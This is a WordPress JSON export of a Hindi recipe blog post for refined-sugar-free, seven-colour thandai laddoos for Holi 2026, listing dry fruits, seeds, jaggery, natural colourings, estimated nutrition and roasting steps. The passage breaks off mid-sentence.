{"id":836,"date":"2026-02-25T21:14:20","date_gmt":"2026-02-25T15:44:20","guid":{"rendered":"https:\/\/simplereceipes.in\/?p=836"},"modified":"2026-04-07T13:56:28","modified_gmt":"2026-04-07T08:26:28","slug":"7-%e0%a4%b0%e0%a4%82%e0%a4%97%e0%a5%8b%e0%a4%82-%e0%a4%b5%e0%a4%be%e0%a4%b2%e0%a5%80-%e0%a4%b9%e0%a5%87%e0%a4%b2%e0%a5%8d%e0%a4%a6%e0%a5%80-%e0%a4%a0%e0%a4%82%e0%a4%a1%e0%a4%be%e0%a4%88-%e0%a4%b2","status":"publish","type":"post","link":"https:\/\/simplereceipes.in\/en\/7-%e0%a4%b0%e0%a4%82%e0%a4%97%e0%a5%8b%e0%a4%82-%e0%a4%b5%e0%a4%be%e0%a4%b2%e0%a5%80-%e0%a4%b9%e0%a5%87%e0%a4%b2%e0%a5%8d%e0%a4%a6%e0%a5%80-%e0%a4%a0%e0%a4%82%e0%a4%a1%e0%a4%be%e0%a4%88-%e0%a4%b2\/","title":{"rendered":"7 \u0930\u0902\u0917\u094b\u0902 \u0935\u093e\u0932\u0940 \u0939\u0947\u0932\u094d\u0926\u0940 \u0920\u0902\u0921\u093e\u0908 \u0932\u0921\u094d\u0921\u0942 \u0930\u0947\u0938\u093f\u092a\u0940 | Holi Special No Sugar Energy Booster Sweet"},"content":{"rendered":"\n<p>\u0939\u094b\u0932\u0940 2026 \u0915\u0947 \u0932\u093f\u090f 7 \u0930\u0902\u0917\u094b\u0902 \u0935\u093e\u0932\u0940 \u0939\u0947\u0932\u094d\u0926\u0940 \u0920\u0902\u0921\u093e\u0908 \u0932\u0921\u094d\u0921\u0942 \u0930\u0947\u0938\u093f\u092a\u0940\u0964 \u092c\u093f\u0928\u093e \u092e\u0948\u0926\u093e, \u092c\u093f\u0928\u093e \u0930\u093f\u092b\u093e\u0907\u0902\u0921 \u0936\u0941\u0917\u0930, \u0921\u094d\u0930\u093e\u0908 \u092b\u094d\u0930\u0942\u091f \u0914\u0930 \u0917\u0941\u0921\u093c \u0938\u0947 \u092c\u0928\u0940 \u092f\u0939 \u0939\u094b\u0932\u0940 \u0938\u094d\u092a\u0947\u0936\u0932 \u092e\u093f\u0920\u093e\u0908 \u090f\u0928\u0930\u094d\u091c\u0940 \u092c\u0942\u0938\u094d\u091f\u0930 \u0914\u0930 \u0907\u092e\u094d\u092f\u0941\u0928\u093f\u091f\u0940 \u092b\u094d\u0930\u0947\u0902\u0921\u0932\u0940 \u0939\u0948\u0964 \u091c\u093e\u0928\u0947\u0902 \u0938\u093e\u092e\u0917\u094d\u0930\u0940, \u0935\u0948\u091c\u094d\u091e\u093e\u0928\u093f\u0915 \u0935\u093f\u0927\u093f, \u092b\u093e\u092f\u0926\u0947, FAQ \u0914\u0930 \u0938\u094d\u091f\u094b\u0930\u0947\u091c \u091f\u093f\u092a\u094d\u0938\u0964<\/p>\n\n\n\n<h2 class=\"wp-block-heading\">\u0939\u094b\u0932\u0940 2026 \u0938\u094d\u092a\u0947\u0936\u0932 \u2013 7 \u0930\u0902\u0917\u094b\u0902 \u0935\u093e\u0932\u0940 \u0939\u0947\u0932\u094d\u0926\u0940 \u0920\u0902\u0921\u093e\u0908 \u0932\u0921\u094d\u0921\u0942 \u0930\u0947\u0938\u093f\u092a\u0940<\/h2>\n\n\n\n<p><strong>7 \u0930\u0902\u0917\u094b\u0902 \u0935\u093e\u0932\u0940 \u0939\u0947\u0932\u094d\u0926\u0940 \u0920\u0902\u0921\u093e\u0908 \u0932\u0921\u094d\u0921\u0942 \u0930\u0947\u0938\u093f\u092a\u0940<\/strong> \u0939\u094b\u0932\u0940 \u0938\u093f\u0930\u094d\u092b \u0930\u0902\u0917\u094b\u0902 \u0915\u093e \u0924\u094d\u092f\u094b\u0939\u093e\u0930 \u0928\u0939\u0940\u0902 \u0939\u0948, \u092c\u0932\u094d\u0915\u093f \u092e\u093f\u0920\u093e\u0938, \u0909\u0924\u094d\u0938\u093e\u0939 \u0914\u0930 \u090a\u0930\u094d\u091c\u093e \u0915\u093e \u092d\u0940 \u092a\u0930\u094d\u0935 \u0939\u0948\u0964 \u0932\u0947\u0915\u093f\u0928 \u0906\u091c\u0915\u0932 \u092c\u093e\u091c\u093e\u0930 \u092e\u0947\u0902 \u092e\u093f\u0932\u0928\u0947 \u0935\u093e\u0932\u0940 \u092e\u093f\u0920\u093e\u0907\u092f\u093e\u0901 \u0905\u0915\u094d\u0938\u0930 \u0930\u093f\u092b\u093e\u0907\u0902\u0921 \u0936\u0941\u0917\u0930, \u0906\u0930\u094d\u091f\u093f\u092b\u093f\u0936\u093f\u092f\u0932 \u0915\u0932\u0930 \u0914\u0930 \u092e\u0948\u0926\u093e \u0938\u0947 \u092d\u0930\u092a\u0942\u0930 \u0939\u094b\u0924\u0940 \u0939\u0948\u0902\u0964 \u0910\u0938\u0947 \u092e\u0947\u0902 \u0905\u0917\u0930 \u0906\u092a \u090f\u0915 \u0910\u0938\u0940 <strong>\u0939\u0947\u0932\u094d\u0926\u0940 \u0939\u094b\u0932\u0940 \u092e\u093f\u0920\u093e\u0908<\/strong> \u0922\u0942\u0902\u0922 \u0930\u0939\u0947 \u0939\u0948\u0902 \u091c\u094b \u0938\u094d\u0935\u093e\u0926\u093f\u0937\u094d\u091f \u092d\u0940 \u0939\u094b \u0914\u0930 \u092a\u094c\u0937\u094d\u091f\u093f\u0915 \u092d\u0940, \u0924\u094b \u092f\u0939 <strong>7 \u0930\u0902\u0917\u094b\u0902 \u0935\u093e\u0932\u0940 \u0920\u0902\u0921\u093e\u0908 \u0932\u0921\u094d\u0921\u0942 \u0930\u0947\u0938\u093f\u092a\u0940<\/strong> \u0906\u092a\u0915\u0947 \u0932\u093f\u090f \u092a\u0930\u092b\u0947\u0915\u094d\u091f \u0939\u0948\u0964<\/p>\n\n\n\n<p>\u092f\u0939 \u0930\u0947\u0938\u093f\u092a\u0940 \u092a\u093e\u0930\u0902\u092a\u0930\u093f\u0915 \u0920\u0902\u0921\u093e\u0908 \u0915\u0947 \u0938\u094d\u0935\u093e\u0926 \u0915\u094b \u0932\u0921\u094d\u0921\u0942 \u0915\u0947 \u0930\u0942\u092a \u092e\u0947\u0902 \u092a\u0947\u0936 \u0915\u0930\u0924\u0940 \u0939\u0948 \u2014 <strong>7 \u0930\u0902\u0917\u094b\u0902 \u0935\u093e\u0932\u0940 \u0939\u0947\u0932\u094d\u0926\u0940 \u0920\u0902\u0921\u093e\u0908 \u0932\u0921\u094d\u0921\u0942 \u0930\u0947\u0938\u093f\u092a\u0940<\/strong>\u0932\u0947\u0915\u093f\u0928 \u092c\u093f\u0928\u093e \u0930\u093f\u092b\u093e\u0907\u0902\u0921 \u0936\u0941\u0917\u0930 \u0914\u0930 \u092c\u093f\u0928\u093e \u0906\u0930\u094d\u091f\u093f\u092b\u093f\u0936\u093f\u092f\u0932 \u0915\u0932\u0930 \u0915\u0947\u0964 \u0907\u0938\u092e\u0947\u0902 \u092a\u094d\u0930\u093e\u0915\u0943\u0924\u093f\u0915 \u0930\u0902\u0917, \u0921\u094d\u0930\u093e\u0908 \u092b\u094d\u0930\u0942\u091f, \u092c\u0940\u091c \u0914\u0930 \u0917\u0941\u0921\u093c \u0915\u093e \u0909\u092a\u092f\u094b\u0917 \u0915\u093f\u092f\u093e \u0917\u092f\u093e \u0939\u0948, \u091c\u094b \u0907\u0938\u0947 \u090f\u0915 \u0938\u091a\u094d\u091a\u093e <strong>\u090f\u0928\u0930\u094d\u091c\u0940 \u092c\u0942\u0938\u094d\u091f\u0930 \u0938\u094d\u0935\u0940\u091f<\/strong> \u092c\u0928\u093e\u0924\u0947 \u0939\u0948\u0902\u0964<\/p>\n\n\n\n<h3 class=\"wp-block-heading\">\u0921\u094d\u0930\u093e\u0908 \u092b\u094d\u0930\u0942\u091f \u092a\u093e\u0935\u0930 \u092c\u0947\u0938 (\u0915\u0941\u0932 1 \u0915\u092a)<\/h3>\n\n\n\n<p>\u092f\u0939 \u0932\u0921\u094d\u0921\u0942 \u0915\u0940 \u092e\u0941\u0916\u094d\u092f \u0938\u0902\u0930\u091a\u0928\u093e \u0914\u0930 \u090f\u0928\u0930\u094d\u091c\u0940 \u0915\u093e \u0938\u094d\u0930\u094b\u0924 \u0939\u0948\u0964<\/p>\n\n\n\n<h4 class=\"wp-block-heading\">\u092c\u093e\u0926\u093e\u092e \u2013 \u00bc \u0915\u092a (\u0932\u0917\u092d\u0917 20\u201322 \u092c\u093e\u0926\u093e\u092e)<\/h4>\n\n\n\n<ul class=\"wp-block-list\">\n<li>\u0935\u093f\u091f\u093e\u092e\u093f\u0928 E \u0938\u0947 \u092d\u0930\u092a\u0942\u0930<\/li>\n\n\n\n<li>\u0924\u094d\u0935\u091a\u093e \u0914\u0930 \u0907\u092e\u094d\u092f\u0941\u0928\u093f\u091f\u0940 \u0915\u0947 \u0932\u093f\u090f \u0932\u093e\u092d\u0926\u093e\u092f\u0915<\/li>\n\n\n\n<li>6g \u0924\u0915 \u092a\u094d\u0930\u094b\u091f\u0940\u0928 (\u00bc \u0915\u092a \u092e\u0947\u0902)<\/li>\n<\/ul>\n\n\n\n<h4 class=\"wp-block-heading\"> \u0915\u093e\u091c\u0942 \u2013 \u00bc \u0915\u092a<\/h4>\n\n\n\n<ul class=\"wp-block-list\">\n<li>\u0907\u0902\u0938\u094d\u091f\u0947\u0902\u091f \u090f\u0928\u0930\u094d\u091c\u0940<\/li>\n\n\n\n<li>\u092e\u0948\u0917\u094d\u0928\u0940\u0936\u093f\u092f\u092e \u0915\u093e \u0905\u091a\u094d\u091b\u093e \u0938\u094d\u0930\u094b\u0924<\/li>\n\n\n\n<li>\u0924\u094d\u092f\u094b\u0939\u093e\u0930 \u092e\u0947\u0902 \u0925\u0915\u093e\u0928 \u0915\u092e \u0915\u0930\u0924\u093e \u0939\u0948<\/li>\n<\/ul>\n\n\n\n<h4 class=\"wp-block-heading\"> \u092a\u093f\u0938\u094d\u0924\u093e \u2013 2 \u091f\u0947\u092c\u0932\u0938\u094d\u092a\u0942\u0928<\/h4>\n\n\n\n<ul class=\"wp-block-list\">\n<li>\u092a\u094d\u0930\u093e\u0915\u0943\u0924\u093f\u0915 \u0939\u0930\u093e \u0930\u0902\u0917<\/li>\n\n\n\n<li>\u090f\u0902\u091f\u0940\u0911\u0915\u094d\u0938\u0940\u0921\u0947\u0902\u091f<\/li>\n\n\n\n<li>\u0939\u093e\u0930\u094d\u091f \u0939\u0947\u0932\u094d\u0925 \u0938\u092a\u094b\u0930\u094d\u091f<\/li>\n<\/ul>\n\n\n\n<h4 class=\"wp-block-heading\">\u0905\u0916\u0930\u094b\u091f \u2013 2 \u091f\u0947\u092c\u0932\u0938\u094d\u092a\u0942\u0928<\/h4>\n\n\n\n<ul class=\"wp-block-list\">\n<li>\u0913\u092e\u0947\u0917\u093e-3 \u092b\u0948\u091f\u0940 \u090f\u0938\u093f\u0921<\/li>\n\n\n\n<li>\u092c\u094d\u0930\u0947\u0928 \u0939\u0947\u0932\u094d\u0925 \u0914\u0930 \u0938\u0942\u091c\u0928 \u0915\u092e \u0915\u0930\u0928\u0947 \u092e\u0947\u0902 \u0938\u0939\u093e\u092f\u0915<\/li>\n<\/ul>\n\n\n\n<p> <strong>\u0915\u094d\u092f\u094b\u0902 \u091c\u0930\u0942\u0930\u0940?<\/strong><br>\u0921\u094d\u0930\u093e\u0908 \u092b\u094d\u0930\u0942\u091f\u094d\u0938 \u0932\u0921\u094d\u0921\u0942 \u0915\u094b \u0930\u093f\u091a \u091f\u0947\u0915\u094d\u0938\u091a\u0930, \u092a\u094d\u0930\u093e\u0915\u0943\u0924\u093f\u0915 \u092e\u093f\u0920\u093e\u0938 \u0914\u0930 \u0932\u0902\u092c\u0947 \u0938\u092e\u092f \u0924\u0915 \u090a\u0930\u094d\u091c\u093e \u0926\u0947\u0924\u0947 \u0939\u0948\u0902\u0964<\/p>\n\n\n\n<h4 class=\"wp-block-heading\">\u092a\u093e\u0930\u0902\u092a\u0930\u093f\u0915 \u0920\u0902\u0921\u093e\u0908 \u092c\u0940\u091c \u092e\u093f\u0915\u094d\u0938 (\u00bd \u0915\u092a)<\/h4>\n\n\n\n<p>\u092f\u0939 \u0907\u0938 \u0930\u0947\u0938\u093f\u092a\u0940 \u0915\u0940 \u092a\u0939\u091a\u093e\u0928 \u0939\u0948 \u2014 \u0920\u0902\u0921\u0915 + \u0921\u093e\u0907\u091c\u0947\u0936\u0928 \u0938\u092a\u094b\u0930\u094d\u091f\u0964<\/p>\n\n\n\n<h3 class=\"wp-block-heading\"> \u0916\u0938\u0916\u0938 \u2013 1 \u091f\u0947\u092c\u0932\u0938\u094d\u092a\u0942\u0928<\/h3>\n\n\n\n<ul class=\"wp-block-list\">\n<li>\u0915\u0942\u0932\u093f\u0902\u0917 \u0907\u092b\u0947\u0915\u094d\u091f<\/li>\n\n\n\n<li>\u0915\u0948\u0932\u094d\u0936\u093f\u092f\u092e \u0938\u0947 \u092d\u0930\u092a\u0942\u0930<\/li>\n<\/ul>\n\n\n\n<h3 class=\"wp-block-heading\">\u0938\u094c\u0902\u092b \u2013 1 \u091f\u0947\u092c\u0932\u0938\u094d\u092a\u0942\u0928<\/h3>\n\n\n\n<ul class=\"wp-block-list\">\n<li>\u092a\u093e\u091a\u0928 \u0938\u0941\u0927\u093e\u0930\u0924\u0940 \u0939\u0948<\/li>\n\n\n\n<li>\u0939\u094b\u0932\u0940 \u092e\u0947\u0902 \u092d\u093e\u0930\u0940 \u092d\u094b\u091c\u0928 \u0915\u0947 \u092c\u093e\u0926 \u0930\u093e\u0939\u0924 \u0926\u0947\u0924\u0940 \u0939\u0948<\/li>\n<\/ul>\n\n\n\n<h3 class=\"wp-block-heading\">\u0924\u0930\u092c\u0942\u091c \u0915\u0947 \u092c\u0940\u091c \u2013 2 \u091f\u0947\u092c\u0932\u0938\u094d\u092a\u0942\u0928<\/h3>\n\n\n\n<ul class=\"wp-block-list\">\n<li>\u092a\u094d\u0930\u094b\u091f\u0940\u0928 + \u0906\u092f\u0930\u0928<\/li>\n\n\n\n<li>\u092c\u0949\u0921\u0940 \u0939\u093e\u0907\u0921\u094d\u0930\u0947\u0936\u0928 \u0938\u092a\u094b\u0930\u094d\u091f<\/li>\n<\/ul>\n\n\n\n<h3 class=\"wp-block-heading\">\u0915\u0926\u094d\u0926\u0942 \u0915\u0947 \u092c\u0940\u091c \u2013 2 \u091f\u0947\u092c\u0932\u0938\u094d\u092a\u0942\u0928<\/h3>\n\n\n\n<ul class=\"wp-block-list\">\n<li>\u091c\u093f\u0902\u0915 \u0938\u0947 \u092d\u0930\u092a\u0942\u0930<\/li>\n\n\n\n<li>\u0907\u092e\u094d\u092f\u0941\u0928\u093f\u091f\u0940 \u092c\u0942\u0938\u094d\u091f\u0930<\/li>\n<\/ul>\n\n\n\n<h3 class=\"wp-block-heading\"> \u091a\u093f\u092f\u093e \u0938\u0940\u0921\u094d\u0938 \u2013 1 \u091f\u0947\u092c\u0932\u0938\u094d\u092a\u0942\u0928<\/h3>\n\n\n\n<ul class=\"wp-block-list\">\n<li>\u0913\u092e\u0947\u0917\u093e-3<\/li>\n\n\n\n<li>\u092b\u093e\u0907\u092c\u0930 \u0939\u093e\u0908<\/li>\n<\/ul>\n\n\n\n<p> <strong>\u0935\u0948\u091c\u094d\u091e\u093e\u0928\u093f\u0915 \u0932\u093e\u092d:<\/strong><br>\u092f\u0947 \u092c\u0940\u091c \u0936\u0930\u0940\u0930 \u092e\u0947\u0902 \u0907\u0932\u0947\u0915\u094d\u091f\u094d\u0930\u094b\u0932\u093e\u0907\u091f \u0938\u0902\u0924\u0941\u0932\u0928 \u092c\u0928\u093e\u090f \u0930\u0916\u0928\u0947 \u092e\u0947\u0902 \u092e\u0926\u0926 \u0915\u0930\u0924\u0947 \u0939\u0948\u0902\u0964<\/p>\n\n\n\n<h3 class=\"wp-block-heading\"> \u092a\u094d\u0930\u093e\u0915\u0943\u0924\u093f\u0915 \u092e\u093f\u0920\u093e\u0938 (Refined Sugar Free)<\/h3>\n\n\n\n<h4 class=\"wp-block-heading\">\u0926\u0947\u0938\u0940 \u0917\u0941\u0921\u093c \u092a\u093e\u0909\u0921\u0930 \u2013 \u00be \u0915\u092a<\/h4>\n\n\n\n<ul class=\"wp-block-list\">\n<li>\u0906\u092f\u0930\u0928 \u0938\u0947 \u092d\u0930\u092a\u0942\u0930<\/li>\n\n\n\n<li>\u092c\u094d\u0932\u0921 \u0936\u0941\u0917\u0930 \u0927\u0940\u0930\u0947 \u092c\u0922\u093c\u093e\u0924\u093e \u0939\u0948<\/li>\n\n\n\n<li>\u0921\u093f\u091f\u0949\u0915\u094d\u0938 \u0938\u092a\u094b\u0930\u094d\u091f<\/li>\n<\/ul>\n\n\n\n<p>\u092f\u093e<\/p>\n\n\n\n<h4 class=\"wp-block-heading\"> \u0916\u091c\u0942\u0930 \u092a\u0947\u0938\u094d\u091f \u2013 1 \u0915\u092a<\/h4>\n\n\n\n<ul class=\"wp-block-list\">\n<li>\u0928\u0948\u091a\u0941\u0930\u0932 \u0936\u0941\u0917\u0930<\/li>\n\n\n\n<li>\u092b\u093e\u0907\u092c\u0930 \u0939\u093e\u0908<\/li>\n\n\n\n<li>\u092c\u091a\u094d\u091a\u094b\u0902 \u0915\u0947 \u0932\u093f\u090f \u092c\u0947\u0939\u0924\u0930 \u0935\u093f\u0915\u0932\u094d\u092a<\/li>\n<\/ul>\n\n\n\n<p>\ud83d\udc49 <strong>\u0915\u094d\u092f\u094b\u0902 \u0917\u0941\u0921\u093c \u092c\u0947\u0939\u0924\u0930 \u0939\u0948?<\/strong><br>\u0930\u093f\u092b\u093e\u0907\u0902\u0921 \u0936\u0941\u0917\u0930 \u0915\u0940 \u0924\u0941\u0932\u0928\u093e \u092e\u0947\u0902 \u0917\u0941\u0921\u093c \u092e\u093f\u0928\u0930\u0932\u094d\u0938 \u0938\u0947 \u092d\u0930\u092a\u0942\u0930 \u0939\u094b\u0924\u093e \u0939\u0948\u0964<\/p>\n\n\n\n<h3 class=\"wp-block-heading\">\u0938\u094d\u0935\u093e\u0926 \u0914\u0930 \u0916\u0941\u0936\u092c\u0942 \u0924\u0924\u094d\u0935<\/h3>\n\n\n\n<h3 class=\"wp-block-heading\"> \u0907\u0932\u093e\u092f\u091a\u0940 \u092a\u093e\u0909\u0921\u0930 \u2013 \u00bd \u091a\u092e\u094d\u092e\u091a<\/h3>\n\n\n\n<ul class=\"wp-block-list\">\n<li>\u0916\u0941\u0936\u092c\u0942 \u0914\u0930 \u0921\u093e\u0907\u091c\u0947\u0936\u0928 \u0938\u092a\u094b\u0930\u094d\u091f<\/li>\n<\/ul>\n\n\n\n<h3 class=\"wp-block-heading\"> \u0917\u0941\u0932\u093e\u092c \u092a\u0902\u0916\u0941\u0921\u093c\u0940 \u092a\u093e\u0909\u0921\u0930 \u2013 1 \u091a\u092e\u094d\u092e\u091a<\/h3>\n\n\n\n<ul class=\"wp-block-list\">\n<li>\u0915\u0942\u0932\u093f\u0902\u0917 \u0907\u092b\u0947\u0915\u094d\u091f<\/li>\n\n\n\n<li>\u0939\u094b\u0932\u0940 \u0915\u093e \u092a\u093e\u0930\u0902\u092a\u0930\u093f\u0915 \u092b\u094d\u0932\u0947\u0935\u0930<\/li>\n<\/ul>\n\n\n\n<h3 class=\"wp-block-heading\"> \u0915\u0947\u0938\u0930 \u2013 6\u20137 \u0927\u093e\u0917\u0947<\/h3>\n\n\n\n<ul class=\"wp-block-list\">\n<li>\u090f\u0902\u091f\u0940\u0911\u0915\u094d\u0938\u0940\u0921\u0947\u0902\u091f<\/li>\n\n\n\n<li>\u092a\u094d\u0930\u0940\u092e\u093f\u092f\u092e \u091f\u0947\u0938\u094d\u091f<\/li>\n<\/ul>\n\n\n\n<h3 class=\"wp-block-heading\"> \u0915\u093e\u0932\u0940 \u092e\u093f\u0930\u094d\u091a \u2013 \u091a\u0941\u091f\u0915\u0940<\/h3>\n\n\n\n<ul class=\"wp-block-list\">\n<li>\u092e\u0947\u091f\u093e\u092c\u0949\u0932\u093f\u091c\u094d\u092e \u090f\u0915\u094d\u091f\u093f\u0935<\/li>\n<\/ul>\n\n\n\n<h3 class=\"wp-block-heading\">7 \u092a\u094d\u0930\u093e\u0915\u0943\u0924\u093f\u0915 \u0930\u0902\u0917 (Chemical Free)<\/h3>\n\n\n\n<figure class=\"wp-block-table\"><table class=\"has-fixed-layout\"><thead><tr><th>\u0930\u0902\u0917<\/th><th>\u0938\u094d\u0930\u094b\u0924<\/th><th>\u092b\u093e\u092f\u0926\u093e<\/th><\/tr><\/thead><tbody><tr><td>\u0939\u0930\u093e<\/td><td>\u092a\u093f\u0938\u094d\u0924\u093e \u092a\u093e\u0909\u0921\u0930<\/td><td>\u090f\u0902\u091f\u0940\u0911\u0915\u094d\u0938\u0940\u0921\u0947\u0902\u091f<\/td><\/tr><tr><td>\u092a\u0940\u0932\u093e<\/td><td>\u0939\u0932\u094d\u0926\u0940<\/td><td>\u090f\u0902\u091f\u0940-\u0907\u0902\u092b\u094d\u0932\u0947\u092e\u0947\u091f\u0930\u0940<\/td><\/tr><tr><td>\u0917\u0941\u0932\u093e\u092c\u0940<\/td><td>\u091a\u0941\u0915\u0902\u0926\u0930 \u092a\u093e\u0909\u0921\u0930<\/td><td>\u0906\u092f\u0930\u0928<\/td><\/tr><tr><td>\u0938\u092b\u0947\u0926<\/td><td>\u0928\u093e\u0930\u093f\u092f\u0932<\/td><td>\u0939\u0947\u0932\u094d\u0926\u0940 \u092b\u0948\u091f<\/td><\/tr><tr><td>\u0928\u093e\u0930\u0902\u0917\u0940<\/td><td>\u0917\u093e\u091c\u0930 \u092a\u093e\u0909\u0921\u0930<\/td><td>\u092c\u0940\u091f\u093e \u0915\u0948\u0930\u094b\u091f\u0940\u0928<\/td><\/tr><tr><td>\u092d\u0942\u0930\u093e<\/td><td>\u0915\u094b\u0915\u094b \u092a\u093e\u0909\u0921\u0930<\/td><td>\u092e\u0942\u0921 \u092c\u0942\u0938\u094d\u091f\u0930<\/td><\/tr><tr><td>\u092c\u0948\u0902\u0917\u0928\u0940<\/td><td>\u092c\u094d\u0932\u0942\u092c\u0947\u0930\u0940 \u092a\u093e\u0909\u0921\u0930<\/td><td>\u090f\u0902\u091f\u0940\u0911\u0915\u094d\u0938\u0940\u0921\u0947\u0902\u091f<\/td><\/tr><\/tbody><\/table><\/figure>\n\n\n\n<p> \u0915\u094b\u0908 \u092d\u0940 \u0906\u0930\u094d\u091f\u093f\u092b\u093f\u0936\u093f\u092f\u0932 \u092b\u0942\u0921 \u0915\u0932\u0930 \u0909\u092a\u092f\u094b\u0917 \u0928 \u0915\u0930\u0947\u0902\u0964<\/p>\n\n\n\n<h3 class=\"wp-block-heading\"> \u092c\u093e\u0907\u0902\u0921\u093f\u0902\u0917 \u0914\u0930 \u091f\u0947\u0915\u094d\u0938\u091a\u0930<\/h3>\n\n\n\n<ul class=\"wp-block-list\">\n<li>1\u20132 \u091a\u092e\u094d\u092e\u091a \u0926\u0947\u0938\u0940 \u0918\u0940 (\u0935\u0948\u0915\u0932\u094d\u092a\u093f\u0915)<br> \u0938\u094d\u0935\u093e\u0926 \u092c\u0922\u093c\u093e\u0924\u093e \u0939\u0948 \u0914\u0930 \u0932\u0921\u094d\u0921\u0942 \u0915\u094b \u0938\u094d\u092e\u0942\u0926 \u092c\u0928\u093e\u0924\u093e \u0939\u0948\u0964<\/li>\n<\/ul>\n\n\n\n<h3 class=\"wp-block-heading\">\u0905\u0928\u0941\u092e\u093e\u0928\u093f\u0924 \u092a\u094b\u0937\u0923 (1 \u0932\u0921\u094d\u0921\u0942 \u2013 \u0932\u0917\u092d\u0917 30g)<\/h3>\n\n\n\n<ul class=\"wp-block-list\">\n<li>\u0915\u0948\u0932\u094b\u0930\u0940: 120\u2013150 kcal<\/li>\n\n\n\n<li>\u092a\u094d\u0930\u094b\u091f\u0940\u0928: 3\u20134g<\/li>\n\n\n\n<li>\u092b\u093e\u0907\u092c\u0930: 2\u20133g<\/li>\n\n\n\n<li>\u0939\u0947\u0932\u094d\u0926\u0940 \u092b\u0948\u091f: 8\u201310g<\/li>\n\n\n\n<li>\u0906\u092f\u0930\u0928: 5\u20137% RDA<\/li>\n<\/ul>\n\n\n\n<h3 class=\"wp-block-heading\">\u092a\u094d\u0930\u094b \u091f\u093f\u092a\u094d\u0938 (Expert Level)<\/h3>\n\n\n\n<p>\u0905\u0917\u0930 \u0932\u0921\u094d\u0921\u0942 \u0938\u0916\u094d\u0924 \u092c\u0928 \u0930\u0939\u0947 \u0939\u0948\u0902 \u2192 1 \u091a\u092e\u094d\u092e\u091a \u0917\u0930\u094d\u092e \u0926\u0942\u0927 \u092e\u093f\u0932\u093e\u090f\u0902<\/p>\n\n\n\n<p> \u0905\u0917\u0930 \u092e\u093f\u0936\u094d\u0930\u0923 \u0922\u0940\u0932\u093e \u0939\u0948 \u2192 \u0925\u094b\u0921\u093c\u093e \u0928\u093e\u0930\u093f\u092f\u0932 \u092a\u093e\u0909\u0921\u0930 \u0921\u093e\u0932\u0947\u0902<br> \u0921\u093e\u092f\u092c\u093f\u091f\u0940\u091c \u0935\u093e\u0932\u094b\u0902 \u0915\u0947 \u0932\u093f\u090f \u2192 \u0916\u091c\u0942\u0930 \u0915\u092e \u0930\u0916\u0947\u0902<\/p>\n\n\n\n<h3 class=\"wp-block-heading\">\u0938\u093e\u092e\u0917\u094d\u0930\u0940 \u0915\u094b \u0938\u0915\u094d\u0930\u093f\u092f \u0915\u0930\u0928\u093e<\/h3>\n\n\n\n<h3 class=\"wp-block-heading\"> Dry Roasting (\u0927\u0940\u092e\u0940 \u0906\u0902\u091a \u092a\u0930 \u092d\u0942\u0928\u0928\u093e) \u2013 6\u20138 \u092e\u093f\u0928\u091f<\/h3>\n\n\n\n<p><strong>\u0915\u0948\u0938\u0947 \u0915\u0930\u0947\u0902:<\/strong><\/p>\n\n\n\n<ol class=\"wp-block-list\">\n<li>\u090f\u0915 \u092d\u093e\u0930\u0940 \u0924\u0932\u0947 \u0915\u0940 \u0915\u0922\u093c\u093e\u0908 \u0932\u0947\u0902\u0964<\/li>\n\n\n\n<li>\u0906\u0902\u091a \u0915\u094b \u092c\u093f\u0932\u094d\u0915\u0941\u0932 \u0927\u0940\u092e\u093e \u0930\u0916\u0947\u0902\u0964<\/li>\n\n\n\n<li>\u092a\u0939\u0932\u0947 \u092c\u093e\u0926\u093e\u092e \u0914\u0930 \u0905\u0916\u0930\u094b\u091f \u0921\u093e\u0932\u0947\u0902 (2\u20133 \u092e\u093f\u0928\u091f)\u0964<\/li>\n\n\n\n<li>\u092b\u093f\u0930 \u0915\u093e\u091c\u0942 \u0914\u0930 \u092a\u093f\u0938\u094d\u0924\u093e \u0921\u093e\u0932\u0947\u0902 (2 \u092e\u093f\u0928\u091f)\u0964<\/li>\n\n\n\n<li>\u0905\u0902\u0924 \u092e\u0947\u0902 \u092c\u0940\u091c (\u0916\u0938\u0916\u0938, \u0915\u0926\u094d\u0926\u0942 \u092c\u0940\u091c, \u0924\u0930\u092c\u0942\u091c \u092c\u0940\u091c, \u091a\u093f\u092f\u093e) \u0921\u093e\u0932\u0947\u0902 (1\u20132 \u092e\u093f\u0928\u091f)\u0964<\/li>\n<\/ol>\n\n\n\n<div class=\"wp-block-cover\"><img fetchpriority=\"high\" decoding=\"async\" width=\"1024\" height=\"1024\" class=\"wp-block-cover__image-background wp-image-839\" alt=\"\" src=\"https:\/\/simplereceipes.in\/wp-content\/uploads\/2026\/02\/ThandaiMasala_RECIPE_022223_4782-1024x1024.jpg\" data-object-fit=\"cover\" srcset=\"https:\/\/simplereceipes.in\/wp-content\/uploads\/2026\/02\/ThandaiMasala_RECIPE_022223_4782-1024x1024.jpg 1024w, https:\/\/simplereceipes.in\/wp-content\/uploads\/2026\/02\/ThandaiMasala_RECIPE_022223_4782-300x300.jpg 300w, https:\/\/simplereceipes.in\/wp-content\/uploads\/2026\/02\/ThandaiMasala_RECIPE_022223_4782-150x150.jpg 150w, https:\/\/simplereceipes.in\/wp-content\/uploads\/2026\/02\/ThandaiMasala_RECIPE_022223_4782-768x768.jpg 768w, https:\/\/simplereceipes.in\/wp-content\/uploads\/2026\/02\/ThandaiMasala_RECIPE_022223_4782-1536x1536.jpg 1536w, https:\/\/simplereceipes.in\/wp-content\/uploads\/2026\/02\/ThandaiMasala_RECIPE_022223_4782-2048x2048.jpg 2048w, https:\/\/simplereceipes.in\/wp-content\/uploads\/2026\/02\/ThandaiMasala_RECIPE_022223_4782-12x12.jpg 12w\" sizes=\"(max-width: 1024px) 100vw, 1024px\" \/><span aria-hidden=\"true\" class=\"wp-block-cover__background has-background-dim\"><\/span><div class=\"wp-block-cover__inner-container is-layout-flow wp-block-cover-is-layout-flow\">\n<p class=\"has-text-align-center has-large-font-size\"><strong><em>Dry fruits<\/em><\/strong><\/p>\n<\/div><\/div>\n\n\n\n<p><strong>\u0935\u0948\u091c\u094d\u091e\u093e\u0928\u093f\u0915 \u0915\u093e\u0930\u0923:<\/strong><\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li>\u0939\u0932\u094d\u0915\u0940 \u0917\u0930\u094d\u092e\u0940 \u0938\u0947 \u0921\u094d\u0930\u093e\u0908 \u092b\u094d\u0930\u0942\u091f\u094d\u0938 \u0915\u0947 \u092a\u094d\u0930\u093e\u0915\u0943\u0924\u093f\u0915 \u0924\u0947\u0932 (Natural Oils) \u0938\u0915\u094d\u0930\u093f\u092f \u0939\u094b\u0924\u0947 